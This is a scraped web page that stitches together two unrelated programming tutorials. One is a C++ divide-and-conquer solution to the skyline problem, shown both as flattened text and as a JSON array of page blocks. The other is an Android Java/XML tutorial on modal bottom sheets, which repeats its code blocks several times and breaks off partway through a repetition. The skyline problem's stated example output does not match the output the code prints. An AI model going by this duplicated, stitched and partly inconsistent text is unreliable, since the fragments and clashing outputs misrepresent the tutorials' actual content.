Capacity of strip array int capacity; // Actual number of strips in array int n; public: ~SkyLine() { delete[] arr; } int count() { return n; } // A function to merge another skyline // to this skyline SkyLine* Merge(SkyLine* other); // Constructor SkyLine(int cap) { capacity = cap; arr = new Strip[cap]; n = 0; } // Function to add a strip 'st' to array void append(Strip* st) { // Check for redundant strip, a strip is // redundant if it has same height or left as previous if (n > 0 && arr[n - 1].ht == st->ht) return; if (n > 0 && arr[n - 1].left == st->left) { arr[n - 1].ht = max(arr[n - 1].ht, st->ht); return; } arr[n] = *st; n++; } // A utility function to print all strips of // skyline void print() { for (int i = 0; i < n; i++) { cout << " (" << arr[i].left << ", " << arr[i].ht << "), "; } }}; // This function returns skyline for a// given array of buildings arr[l..h].// This function is similar to mergeSort().SkyLine* findSkyline(Building arr[], int l, int h){ if (l == h) { SkyLine* res = new SkyLine(2); res->append( new Strip( arr[l].left, arr[l].ht)); res->append( new Strip( arr[l].right, 0)); return res; } int mid = (l + h) / 2; // Recur for left and right halves // and merge the two results SkyLine* sl = findSkyline( arr, l, mid); SkyLine* sr = findSkyline( arr, mid + 1, h); SkyLine* res = sl->Merge(sr); // To avoid memory leak delete sl; delete sr; // Return merged skyline return res;} // Similar to merge() in MergeSort// This function merges another skyline// 'other' to the skyline for which it is called.// The function returns pointer to the// resultant skylineSkyLine* SkyLine::Merge(SkyLine* other){ // Create a resultant skyline with // capacity as sum of two skylines SkyLine* res = new SkyLine( this->n + other->n); // To store current heights of two skylines int h1 = 0, h2 = 0; // Indexes of strips in two skylines int i = 0, j = 0; while (i < this->n && j < other->n) { // Compare x coordinates of left sides of two // skylines and put the smaller one in result if (this->arr[i].left < other->arr[j].left) { int x1 = this->arr[i].left; h1 = this->arr[i].ht; // Choose height as max of two heights int maxh = max(h1, h2); res->append(new Strip(x1, maxh)); i++; } else { int x2 = other->arr[j].left; h2 = other->arr[j].ht; int maxh = max(h1, h2); res->append(new Strip(x2, maxh)); j++; } } // If there are strips left in this // skyline or other skyline while (i < this->n) { res->append(&arr[i]); i++; } while (j < other->n) { res->append(&other->arr[j]); j++; } return res;} // Driver Functionint main(){ Building arr[] = { { 1, 11, 5 }, { 2, 6, 7 }, { 3, 13, 9 }, { 12, 7, 16 }, { 14, 3, 25 }, { 19, 18, 22 }, { 23, 13, 29 }, { 24, 4, 28 } }; int n = sizeof(arr) / sizeof(arr[0]); // Find skyline for given buildings // and print the skyline SkyLine* ptr = findSkyline(arr, 0, n - 1); cout << " Skyline for given buildings is \n"; ptr->print(); return 0;} Output: Skyline for given buildings is (1, 11), (3, 13), (9, 0), (12, 7), (16, 3), (19, 18), (22, 3), (23, 13), (29, 0), Time complexity of above recursive implementation is same as Merge Sort. T(n) = T(n/2) + Θ(n) Solution of above recurrence is Θ(nLogn) References: http://faculty.kfupm.edu.sa/ics/darwish/stuff/ics353handouts/Ch4Ch5.pdf www.cs.ucf.edu/~sarahb/COP3503/Lectures/DivideAndConquer.ppt This article is contributed Abhay Rathi. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above vishnukanthcho Divide and Conquer Divide and Conquer Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Median of two sorted arrays of different sizes Program for Tower of Hanoi Divide and Conquer Algorithm | Introduction Write a program to calculate pow(x,n) Find a peak element Count number of occurrences (or frequency) in a sorted array Median of two sorted arrays of same size Allocate minimum number of pages Quick Sort vs Merge Sort Square root of an integer
[ { "code": null, "e": 52, "s": 24, "text": "\n20 Feb, 2020" }, { "code": null, "e": 267, "s": 52, "text": "Given n rectangular buildings in a 2-dimensional city, computes the skyline of these buildings, eliminating hidden lines. The main task is to view buildings from a side and remove all sections that are not visible." }, { "code": null, "e": 364, "s": 267, "text": "All buildings share common bottom and every building is represented by triplet (left, ht, right)" }, { "code": null, "e": 413, "s": 364, "text": "‘left’: is x coordinated of left side (or wall)." }, { "code": null, "e": 452, "s": 413, "text": "‘right’: is x coordinate of right side" }, { "code": null, "e": 481, "s": 452, "text": "‘ht’: is height of building." }, { "code": null, "e": 671, "s": 481, "text": "A skyline is a collection of rectangular strips. A rectangular strip is represented as a pair (left, ht) where left is x coordinate of left side of strip and ht is height of strip.Examples:" }, { "code": null, "e": 1161, "s": 671, "text": "Input: Array of buildings\n { (1, 11, 5), (2, 6, 7), (3, 13, 9), (12, 7, 16), (14, 3, 25),\n (19, 18, 22), (23, 13, 29), (24, 4, 28) }\nOutput: Skyline (an array of rectangular strips)\n A strip has x coordinate of left side and height \n (1, 11), (3, 13), (9, 0), (12, 7), (16, 3), (19, 18), \n (22, 3), (25, 0)\nBelow image is for input 1 :\n\n\nConsider following as another example when there is only one\nbuilding\nInput: {(1, 11, 5)}\nOutput: (1, 11), (5, 0)\n" }, { "code": null, "e": 1522, "s": 1161, "text": "A Simple Solution is to initialize skyline or result as empty, then one by one add buildings to skyline. A building is added by first finding the overlapping strip(s). If there are no overlapping strips, the new building adds new strip(s). If overlapping strip is found, then height of the existing strip may increase. Time complexity of this solution is O(n2)" }, { "code": null, "e": 1751, "s": 1522, "text": "We can find Skyline in Θ(nLogn) time using Divide and Conquer. The idea is similar to Merge Sort, divide the given set of buildings in two subsets. Recursively construct skyline for two halves and finally merge the two skylines." }, { "code": null, "e": 2046, "s": 1751, "text": "How to Merge two Skylines?The idea is similar to merge of merge sort, start from first strips of two skylines, compare x coordinates. Pick the strip with smaller x coordinate and add it to result. The height of added strip is considered as maximum of current heights from skyline1 and skyline2." }, { "code": null, "e": 2080, "s": 2046, "text": "Example to show working of merge:" }, { "code": null, "e": 4041, "s": 2080, "text": " Height of new Strip is always obtained by takin maximum of following\n (a) Current height from skyline1, say 'h1'. \n (b) Current height from skyline2, say 'h2'\n h1 and h2 are initialized as 0. h1 is updated when a strip from\n SkyLine1 is added to result and h2 is updated when a strip from \n SkyLine2 is added.\n \n Skyline1 = {(1, 11), (3, 13), (9, 0), (12, 7), (16, 0)}\n Skyline2 = {(14, 3), (19, 18), (22, 3), (23, 13), (29, 0)}\n Result = {}\n h1 = 0, h2 = 0\n \n Compare (1, 11) and (14, 3). Since first strip has smaller left x,\n add it to result and increment index for Skyline1. \n h1 = 11, New Height = max(11, 0) \n Result = {(1, 11)}\n\n Compare (3, 13) and (14, 3). Since first strip has smaller left x,\n add it to result and increment index for Skyline1\n h1 = 13, New Height = max(13, 0)\n Result = {(1, 11), (3, 13)} \n \n Similarly (9, 0) and (12, 7) are added.\n h1 = 7, New Height = max(7, 0) = 7\n Result = {(1, 11), (3, 13), (9, 0), (12, 7)}\n\n Compare (16, 0) and (14, 3). Since second strip has smaller left x, \n it is added to result.\n h2 = 3, New Height = max(7, 3) = 7\n Result = {(1, 11), (3, 13), (9, 0), (12, 7), (14, 7)}\n\n Compare (16, 0) and (19, 18). Since first strip has smaller left x, \n it is added to result.\n h1 = 0, New Height = max(0, 3) = 3\n Result = {(1, 11), (3, 13), (9, 0), (12, 7), (14, 7), (16, 3)}\n\nSince Skyline1 has no more items, all remaining items of Skyline2 \nare added \n Result = {(1, 11), (3, 13), (9, 0), (12, 7), (14, 7), (16, 3), \n (19, 18), (22, 3), (23, 13), (29, 0)}\n\nOne observation about above output is, the strip (14, 7) is redundant\n(There is already an strip of same height). We remove all redundant \nstrips. \n Result = {(1, 11), (3, 13), (9, 0), (12, 7), (16, 3), (19, 18), \n (22, 3), (23, 13), (29, 0)}\n\nIn below code, redundancy is handled by not appending a strip if the \nprevious strip in result has same height." }, { "code": null, "e": 4084, "s": 4041, "text": "Below is C++ implementation of above idea." }, { "code": "// A divide and conquer based C++// program to find skyline of given buildings#include <iostream>using namespace std; // A structure for buildingstruct Building { // x coordinate of left side int left; // height int ht; // x coordinate of right side int right;}; // A strip in skylineclass Strip { // x coordinate of left side int left; // height int ht; public: Strip(int l = 0, int h = 0) { left = l; ht = h; } friend class SkyLine;}; // Skyline: To represent Output(An array of strips)class SkyLine { // Array of strips Strip* arr; // Capacity of strip array int capacity; // Actual number of strips in array int n; public: ~SkyLine() { delete[] arr; } int count() { return n; } // A function to merge another skyline // to this skyline SkyLine* Merge(SkyLine* other); // Constructor SkyLine(int cap) { capacity = cap; arr = new Strip[cap]; n = 0; } // Function to add a strip 'st' to array void append(Strip* st) { // Check for redundant strip, a strip is // redundant if it has same height or left as previous if (n > 0 && arr[n - 1].ht == st->ht) return; if (n > 0 && arr[n - 1].left == st->left) { arr[n - 1].ht = max(arr[n - 1].ht, st->ht); return; } arr[n] = *st; n++; } // A utility function to print all strips of // skyline void print() { for (int i = 0; i < n; i++) { cout << \" (\" << arr[i].left << \", \" << arr[i].ht << \"), \"; } }}; // This function returns skyline for a// given array of buildings arr[l..h].// This function is similar to mergeSort().SkyLine* findSkyline(Building arr[], int l, int h){ if (l == h) { SkyLine* res = new SkyLine(2); res->append( new Strip( arr[l].left, arr[l].ht)); res->append( new Strip( arr[l].right, 0)); return res; } int mid = (l + h) / 2; // Recur for left and right halves // and merge the two results SkyLine* sl = findSkyline( arr, l, mid); SkyLine* sr = findSkyline( arr, mid + 1, h); SkyLine* res = sl->Merge(sr); // To avoid memory leak delete sl; delete sr; // Return merged skyline return res;} // Similar to merge() in MergeSort// This function merges another skyline// 'other' to the skyline for which it is called.// The function returns pointer to the// resultant skylineSkyLine* SkyLine::Merge(SkyLine* other){ // Create a resultant skyline with // capacity as sum of two skylines SkyLine* res = new SkyLine( this->n + other->n); // To store current heights of two skylines int h1 = 0, h2 = 0; // Indexes of strips in two skylines int i = 0, j = 0; while (i < this->n && j < other->n) { // Compare x coordinates of left sides of two // skylines and put the smaller one in result if (this->arr[i].left < other->arr[j].left) { int x1 = this->arr[i].left; h1 = this->arr[i].ht; // Choose height as max of two heights int maxh = max(h1, h2); res->append(new Strip(x1, maxh)); i++; } else { int x2 = other->arr[j].left; h2 = other->arr[j].ht; int maxh = max(h1, h2); res->append(new Strip(x2, maxh)); j++; } } // If there are strips left in this // skyline or other skyline while (i < this->n) { res->append(&arr[i]); i++; } while (j < other->n) { res->append(&other->arr[j]); j++; } return res;} // Driver Functionint main(){ Building arr[] = { { 1, 11, 5 }, { 2, 6, 7 }, { 3, 13, 9 }, { 12, 7, 16 }, { 14, 3, 25 }, { 19, 18, 22 }, { 23, 13, 29 }, { 24, 4, 28 } }; int n = sizeof(arr) / sizeof(arr[0]); // Find skyline for given buildings // and print the skyline SkyLine* ptr = findSkyline(arr, 0, n - 1); cout << \" Skyline for given buildings is \\n\"; ptr->print(); return 0;}", "e": 8257, "s": 4084, "text": null }, { "code": null, "e": 8265, "s": 8257, "text": "Output:" }, { "code": null, "e": 8390, "s": 8265, "text": " Skyline for given buildings is\n (1, 11), (3, 13), (9, 0), (12, 7), (16, 3), (19, 18), \n (22, 3), (23, 13), (29, 0),\n" }, { "code": null, "e": 8463, "s": 8390, "text": "Time complexity of above recursive implementation is same as Merge Sort." }, { "code": null, "e": 8484, "s": 8463, "text": "T(n) = T(n/2) + Θ(n)" }, { "code": null, "e": 8525, "s": 8484, "text": "Solution of above recurrence is Θ(nLogn)" }, { "code": null, "e": 8537, "s": 8525, "text": "References:" }, { "code": null, "e": 8609, "s": 8537, "text": "http://faculty.kfupm.edu.sa/ics/darwish/stuff/ics353handouts/Ch4Ch5.pdf" }, { "code": null, "e": 8670, "s": 8609, "text": "www.cs.ucf.edu/~sarahb/COP3503/Lectures/DivideAndConquer.ppt" }, { "code": null, "e": 8835, "s": 8670, "text": "This article is contributed Abhay Rathi. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above" }, { "code": null, "e": 8850, "s": 8835, "text": "vishnukanthcho" }, { "code": null, "e": 8869, "s": 8850, "text": "Divide and Conquer" }, { "code": null, "e": 8888, "s": 8869, "text": "Divide and Conquer" }, { "code": null, "e": 8986, "s": 8888, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 9033, "s": 8986, "text": "Median of two sorted arrays of different sizes" }, { "code": null, "e": 9060, "s": 9033, "text": "Program for Tower of Hanoi" }, { "code": null, "e": 9104, "s": 9060, "text": "Divide and Conquer Algorithm | Introduction" }, { "code": null, "e": 9142, "s": 9104, "text": "Write a program to calculate pow(x,n)" }, { "code": null, "e": 9162, "s": 9142, "text": "Find a peak element" }, { "code": null, "e": 9223, "s": 9162, "text": "Count number of occurrences (or frequency) in a sorted array" }, { "code": null, "e": 9264, "s": 9223, "text": "Median of two sorted arrays of same size" }, { "code": null, "e": 9297, "s": 9264, "text": "Allocate minimum number of pages" }, { "code": null, "e": 9322, "s": 9297, "text": "Quick Sort vs Merge Sort" } ]
Modal Bottom Sheet in Android with Examples
06 Jul, 2020 In this article, we will learn about how to add Modal Bottom Sheet in our app. We have seen this UI component in daily applications like Google Drive, Maps, or Music Player App. The modal Bottom sheet always appears from the bottom of the screen and if the user clicks on the outside content then it is dismissed. It can be dragged vertically and can be dismissed by sliding it down. Approach: Add the support Library in build.gradle file and add dependency in the dependencies section. With the help of this library we can inherit the BottomSheetDialogFragment which helps us to implement Bottom Sheet component.dependencies { implementation 'com.google.android.material:material:1.2.0-alpha02' } Now create a bottom_sheet_layout.xml file and add the following code. Here we design the layout of our Modal Bottom sheet. It has a textview and two buttons.bottom_sheet_layout.xmlbottom_sheet_layout.xml<?xml version="1.0" encoding="utf-8"?><LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:gravity="center_horizontal" android:orientation="vertical" android:padding="16dp"> <TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="This is a Modal BottomSheet" android:textSize="25sp" /> <Button android:layout_margin="10dp" android:id="@+id/algo_button" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Share this Algorithm" /> <Button android:layout_margin="10dp" android:id="@+id/course_button" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Share this Course" /> </LinearLayout>Now create BottomSheetDialog.java and add the following code.This file extends the BottomSheetFragment and thats why it act as a fragment. When the user clicks on any bottom of modal sheet the onClickListener() gets invoked.BottomSheetDialog.javaBottomSheetDialog.javapackage org.geeksforgeeks.gfgmodalsheet; import android.os.Bundle;import android.view.LayoutInflater;import android.view.View;import android.view.ViewGroup;import android.widget.Button;import android.widget.Toast; import androidx.annotation.Nullable;import com.google.android.material.bottomsheet.BottomSheetDialogFragment; public class BottomSheetDialog extends BottomSheetDialogFragment { @Override public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) { View v = inflater.inflate(R.layout.bottom_sheet_layout, container, false); Button algo_button = v.findViewById(R.id.algo_button); Button course_button = v.findViewById(R.id.course_button); algo_button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Toast.makeText(getActivity(), "Algorithm Shared", Toast.LENGTH_SHORT) .show(); dismiss(); } }); course_button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Toast.makeText(getActivity(), "Course Shared", Toast.LENGTH_SHORT) .show(); dismiss(); } }); return v; }}Add the following code in activity_main.xml file. Here we add a button on activity_main layout.activity_main.javaactivity_main.java<?xml version="1.0" encoding="utf-8"?><LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:gravity="center_horizontal" android:orientation="vertical" tools:context=".MainActivity"> <Button android:layout_marginTop="30dp" android:id="@+id/open_bottom_sheet" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Open Modal Bottom Sheet" /></LinearLayout>Add the following code in the MainActivity.java file. Here an onClickListener is attached with the button. If the user clicks on it, it gets invoked and bottom sheet dialog displays to user.MainActivity.javaMainActivity.javapackage org.geeksforgeeks.gfgmodalsheet; import androidx.appcompat.app.AppCompatActivity;import android.os.Bundle;import android.view.View;import android.widget.Button; public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Button OpenBottomSheet = findViewById(R.id.open_bottom_sheet); OpenBottomSheet.setOnClickListener( new View.OnClickListener() { @Override public void onClick(View v) { BottomSheetDialog bottomSheet = new BottomSheetDialog(); bottomSheet.show(getSupportFragmentManager(), "ModalBottomSheet"); } }); }} Add the support Library in build.gradle file and add dependency in the dependencies section. With the help of this library we can inherit the BottomSheetDialogFragment which helps us to implement Bottom Sheet component.dependencies { implementation 'com.google.android.material:material:1.2.0-alpha02' } dependencies { implementation 'com.google.android.material:material:1.2.0-alpha02' } Now create a bottom_sheet_layout.xml file and add the following code. Here we design the layout of our Modal Bottom sheet. It has a textview and two buttons.bottom_sheet_layout.xmlbottom_sheet_layout.xml<?xml version="1.0" encoding="utf-8"?><LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:gravity="center_horizontal" android:orientation="vertical" android:padding="16dp"> <TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="This is a Modal BottomSheet" android:textSize="25sp" /> <Button android:layout_margin="10dp" android:id="@+id/algo_button" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Share this Algorithm" /> <Button android:layout_margin="10dp" android:id="@+id/course_button" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Share this Course" /> </LinearLayout> bottom_sheet_layout.xml <?xml version="1.0" encoding="utf-8"?><LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:gravity="center_horizontal" android:orientation="vertical" android:padding="16dp"> <TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="This is a Modal BottomSheet" android:textSize="25sp" /> <Button android:layout_margin="10dp" android:id="@+id/algo_button" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Share this Algorithm" /> <Button android:layout_margin="10dp" android:id="@+id/course_button" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Share this Course" /> </LinearLayout> Now create BottomSheetDialog.java and add the following code.This file extends the BottomSheetFragment and thats why it act as a fragment. When the user clicks on any bottom of modal sheet the onClickListener() gets invoked.BottomSheetDialog.javaBottomSheetDialog.javapackage org.geeksforgeeks.gfgmodalsheet; import android.os.Bundle;import android.view.LayoutInflater;import android.view.View;import android.view.ViewGroup;import android.widget.Button;import android.widget.Toast; import androidx.annotation.Nullable;import com.google.android.material.bottomsheet.BottomSheetDialogFragment; public class BottomSheetDialog extends BottomSheetDialogFragment { @Override public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) { View v = inflater.inflate(R.layout.bottom_sheet_layout, container, false); Button algo_button = v.findViewById(R.id.algo_button); Button course_button = v.findViewById(R.id.course_button); algo_button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Toast.makeText(getActivity(), "Algorithm Shared", Toast.LENGTH_SHORT) .show(); dismiss(); } }); course_button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Toast.makeText(getActivity(), "Course Shared", Toast.LENGTH_SHORT) .show(); dismiss(); } }); return v; }} BottomSheetDialog.java package org.geeksforgeeks.gfgmodalsheet; import android.os.Bundle;import android.view.LayoutInflater;import android.view.View;import android.view.ViewGroup;import android.widget.Button;import android.widget.Toast; import androidx.annotation.Nullable;import com.google.android.material.bottomsheet.BottomSheetDialogFragment; public class BottomSheetDialog extends BottomSheetDialogFragment { @Override public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) { View v = inflater.inflate(R.layout.bottom_sheet_layout, container, false); Button algo_button = v.findViewById(R.id.algo_button); Button course_button = v.findViewById(R.id.course_button); algo_button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Toast.makeText(getActivity(), "Algorithm Shared", Toast.LENGTH_SHORT) .show(); dismiss(); } }); course_button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Toast.makeText(getActivity(), "Course Shared", Toast.LENGTH_SHORT) .show(); dismiss(); } }); return v; }} Add the following code in activity_main.xml file. Here we add a button on activity_main layout.activity_main.javaactivity_main.java<?xml version="1.0" encoding="utf-8"?><LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:gravity="center_horizontal" android:orientation="vertical" tools:context=".MainActivity"> <Button android:layout_marginTop="30dp" android:id="@+id/open_bottom_sheet" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Open Modal Bottom Sheet" /></LinearLayout> activity_main.java <?xml version="1.0" encoding="utf-8"?><LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:gravity="center_horizontal" android:orientation="vertical" tools:context=".MainActivity"> <Button android:layout_marginTop="30dp" android:id="@+id/open_bottom_sheet" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Open Modal Bottom Sheet" /></LinearLayout> Add the following code in the MainActivity.java file. Here an onClickListener is attached with the button. If the user clicks on it, it gets invoked and bottom sheet dialog displays to user.MainActivity.javaMainActivity.javapackage org.geeksforgeeks.gfgmodalsheet; import androidx.appcompat.app.AppCompatActivity;import android.os.Bundle;import android.view.View;import android.widget.Button; public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Button OpenBottomSheet = findViewById(R.id.open_bottom_sheet); OpenBottomSheet.setOnClickListener( new View.OnClickListener() { @Override public void onClick(View v) { BottomSheetDialog bottomSheet = new BottomSheetDialog(); bottomSheet.show(getSupportFragmentManager(), "ModalBottomSheet"); } }); }} MainActivity.java package org.geeksforgeeks.gfgmodalsheet; import androidx.appcompat.app.AppCompatActivity;import android.os.Bundle;import android.view.View;import android.widget.Button; public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Button OpenBottomSheet = findViewById(R.id.open_bottom_sheet); OpenBottomSheet.setOnClickListener( new View.OnClickListener() { @Override public void onClick(View v) { BottomSheetDialog bottomSheet = new BottomSheetDialog(); bottomSheet.show(getSupportFragmentManager(), "ModalBottomSheet"); } }); }} Output: nidhi_biet android Java Java Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Object Oriented Programming (OOPs) Concept in Java How to iterate any Map in Java Interfaces in Java HashMap in Java with Examples Stream In Java ArrayList in Java Collections in Java Singleton Class in Java Multidimensional Arrays in Java Set in Java
[ { "code": null, "e": 28, "s": 0, "text": "\n06 Jul, 2020" }, { "code": null, "e": 412, "s": 28, "text": "In this article, we will learn about how to add Modal Bottom Sheet in our app. We have seen this UI component in daily applications like Google Drive, Maps, or Music Player App. The modal Bottom sheet always appears from the bottom of the screen and if the user clicks on the outside content then it is dismissed. It can be dragged vertically and can be dismissed by sliding it down." }, { "code": null, "e": 422, "s": 412, "text": "Approach:" }, { "code": null, "e": 5496, "s": 422, "text": "Add the support Library in build.gradle file and add dependency in the dependencies section. With the help of this library we can inherit the BottomSheetDialogFragment which helps us to implement Bottom Sheet component.dependencies { implementation 'com.google.android.material:material:1.2.0-alpha02' } Now create a bottom_sheet_layout.xml file and add the following code. Here we design the layout of our Modal Bottom sheet. It has a textview and two buttons.bottom_sheet_layout.xmlbottom_sheet_layout.xml<?xml version=\"1.0\" encoding=\"utf-8\"?><LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\" android:layout_width=\"match_parent\" android:layout_height=\"match_parent\" android:gravity=\"center_horizontal\" android:orientation=\"vertical\" android:padding=\"16dp\"> <TextView android:layout_width=\"wrap_content\" android:layout_height=\"wrap_content\" android:text=\"This is a Modal BottomSheet\" android:textSize=\"25sp\" /> <Button android:layout_margin=\"10dp\" android:id=\"@+id/algo_button\" android:layout_width=\"wrap_content\" android:layout_height=\"wrap_content\" android:text=\"Share this Algorithm\" /> <Button android:layout_margin=\"10dp\" android:id=\"@+id/course_button\" android:layout_width=\"wrap_content\" android:layout_height=\"wrap_content\" android:text=\"Share this Course\" /> </LinearLayout>Now create BottomSheetDialog.java and add the following code.This file extends the BottomSheetFragment and thats why it act as a fragment. When the user clicks on any bottom of modal sheet the onClickListener() gets invoked.BottomSheetDialog.javaBottomSheetDialog.javapackage org.geeksforgeeks.gfgmodalsheet; import android.os.Bundle;import android.view.LayoutInflater;import android.view.View;import android.view.ViewGroup;import android.widget.Button;import android.widget.Toast; import androidx.annotation.Nullable;import com.google.android.material.bottomsheet.BottomSheetDialogFragment; public class BottomSheetDialog extends BottomSheetDialogFragment { @Override public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) { View v = inflater.inflate(R.layout.bottom_sheet_layout, container, false); Button algo_button = v.findViewById(R.id.algo_button); Button course_button = v.findViewById(R.id.course_button); algo_button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Toast.makeText(getActivity(), \"Algorithm Shared\", Toast.LENGTH_SHORT) .show(); dismiss(); } }); course_button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Toast.makeText(getActivity(), \"Course Shared\", Toast.LENGTH_SHORT) .show(); dismiss(); } }); return v; }}Add the following code in activity_main.xml file. Here we add a button on activity_main layout.activity_main.javaactivity_main.java<?xml version=\"1.0\" encoding=\"utf-8\"?><LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\" xmlns:tools=\"http://schemas.android.com/tools\" android:layout_width=\"match_parent\" android:layout_height=\"match_parent\" android:gravity=\"center_horizontal\" android:orientation=\"vertical\" tools:context=\".MainActivity\"> <Button android:layout_marginTop=\"30dp\" android:id=\"@+id/open_bottom_sheet\" android:layout_width=\"wrap_content\" android:layout_height=\"wrap_content\" android:text=\"Open Modal Bottom Sheet\" /></LinearLayout>Add the following code in the MainActivity.java file. Here an onClickListener is attached with the button. If the user clicks on it, it gets invoked and bottom sheet dialog displays to user.MainActivity.javaMainActivity.javapackage org.geeksforgeeks.gfgmodalsheet; import androidx.appcompat.app.AppCompatActivity;import android.os.Bundle;import android.view.View;import android.widget.Button; public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Button OpenBottomSheet = findViewById(R.id.open_bottom_sheet); OpenBottomSheet.setOnClickListener( new View.OnClickListener() { @Override public void onClick(View v) { BottomSheetDialog bottomSheet = new BottomSheetDialog(); bottomSheet.show(getSupportFragmentManager(), \"ModalBottomSheet\"); } }); }}" }, { "code": null, "e": 5827, "s": 5496, "text": "Add the support Library in build.gradle file and add dependency in the dependencies section. With the help of this library we can inherit the BottomSheetDialogFragment which helps us to implement Bottom Sheet component.dependencies { implementation 'com.google.android.material:material:1.2.0-alpha02' } " }, { "code": "dependencies { implementation 'com.google.android.material:material:1.2.0-alpha02' } ", "e": 5939, "s": 5827, "text": null }, { "code": null, "e": 7075, "s": 5939, "text": "Now create a bottom_sheet_layout.xml file and add the following code. Here we design the layout of our Modal Bottom sheet. It has a textview and two buttons.bottom_sheet_layout.xmlbottom_sheet_layout.xml<?xml version=\"1.0\" encoding=\"utf-8\"?><LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\" android:layout_width=\"match_parent\" android:layout_height=\"match_parent\" android:gravity=\"center_horizontal\" android:orientation=\"vertical\" android:padding=\"16dp\"> <TextView android:layout_width=\"wrap_content\" android:layout_height=\"wrap_content\" android:text=\"This is a Modal BottomSheet\" android:textSize=\"25sp\" /> <Button android:layout_margin=\"10dp\" android:id=\"@+id/algo_button\" android:layout_width=\"wrap_content\" android:layout_height=\"wrap_content\" android:text=\"Share this Algorithm\" /> <Button android:layout_margin=\"10dp\" android:id=\"@+id/course_button\" android:layout_width=\"wrap_content\" android:layout_height=\"wrap_content\" android:text=\"Share this Course\" /> </LinearLayout>" }, { "code": null, "e": 7099, "s": 7075, "text": "bottom_sheet_layout.xml" }, { "code": "<?xml version=\"1.0\" encoding=\"utf-8\"?><LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\" android:layout_width=\"match_parent\" android:layout_height=\"match_parent\" android:gravity=\"center_horizontal\" android:orientation=\"vertical\" android:padding=\"16dp\"> <TextView android:layout_width=\"wrap_content\" android:layout_height=\"wrap_content\" android:text=\"This is a Modal BottomSheet\" android:textSize=\"25sp\" /> <Button android:layout_margin=\"10dp\" android:id=\"@+id/algo_button\" android:layout_width=\"wrap_content\" android:layout_height=\"wrap_content\" android:text=\"Share this Algorithm\" /> <Button android:layout_margin=\"10dp\" android:id=\"@+id/course_button\" android:layout_width=\"wrap_content\" android:layout_height=\"wrap_content\" android:text=\"Share this Course\" /> </LinearLayout>", "e": 8032, "s": 7099, "text": null }, { "code": null, "e": 9825, "s": 8032, "text": "Now create BottomSheetDialog.java and add the following code.This file extends the BottomSheetFragment and thats why it act as a fragment. When the user clicks on any bottom of modal sheet the onClickListener() gets invoked.BottomSheetDialog.javaBottomSheetDialog.javapackage org.geeksforgeeks.gfgmodalsheet; import android.os.Bundle;import android.view.LayoutInflater;import android.view.View;import android.view.ViewGroup;import android.widget.Button;import android.widget.Toast; import androidx.annotation.Nullable;import com.google.android.material.bottomsheet.BottomSheetDialogFragment; public class BottomSheetDialog extends BottomSheetDialogFragment { @Override public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) { View v = inflater.inflate(R.layout.bottom_sheet_layout, container, false); Button algo_button = v.findViewById(R.id.algo_button); Button course_button = v.findViewById(R.id.course_button); algo_button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Toast.makeText(getActivity(), \"Algorithm Shared\", Toast.LENGTH_SHORT) .show(); dismiss(); } }); course_button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { 